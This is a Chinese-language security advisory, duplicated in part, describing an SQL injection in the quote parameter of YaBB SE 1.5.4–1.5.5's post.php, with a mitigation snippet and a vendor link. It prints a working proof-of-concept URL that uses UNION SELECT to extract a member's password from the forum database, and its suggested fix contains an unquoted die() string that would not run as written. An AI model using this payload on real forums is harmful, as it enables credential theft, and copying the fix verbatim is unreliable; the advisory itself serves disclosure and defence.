YABB SE Quote参数SQL注入漏洞
添加时间:
2005-08-17
系统编号:
WAVDB-00451
BUGTRAQ: 9674
影响版本:
YaBB SE 1.5.4-1.5.5
程序介绍:
漏洞利用:
解决方案:
如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:
* 在post.php脚本49行,修改:
$quotemsg = $quote;
为:
if ( $quote && !is_numeric($quote) )
{
die(
Go out C==|=======>
);
}
厂商补丁:
YaBB
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.yabbforum.com/
信息来源:
<*来源:backspace (backspace_2k@terra.es)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107696318522985&w=2
*>
2005-08-17
系统编号:
WAVDB-00451
BUGTRAQ: 9674
影响版本:
YaBB SE 1.5.4-1.5.5
程序介绍:
Yabb Se是一款基于PHP/MySQL的论坛程序。
漏洞分析:
Yabb Se包含的Post.php脚本对外部输入缺少充分过滤,远程攻击者可以利用这个漏洞进行SQL注入攻击,可修改数据信息等。
由于post.php脚本对quote参数的数据缺少充分检查,因此提交包含恶意SQL命令的参数,可更改原有SQL逻辑,获得数据库敏感信息或修改数据库。
漏洞利用:
http://www.example.com/yabbse//index.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*
解决方案:
如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:
* 在post.php脚本49行,修改:
$quotemsg = $quote;
为:
if ( $quote && !is_numeric($quote) )
{
die(
Go out C==|=======>
);
}
厂商补丁:
YaBB
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.yabbforum.com/
信息来源:
<*来源:backspace (backspace_2k@terra.es)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107696318522985&w=2
*>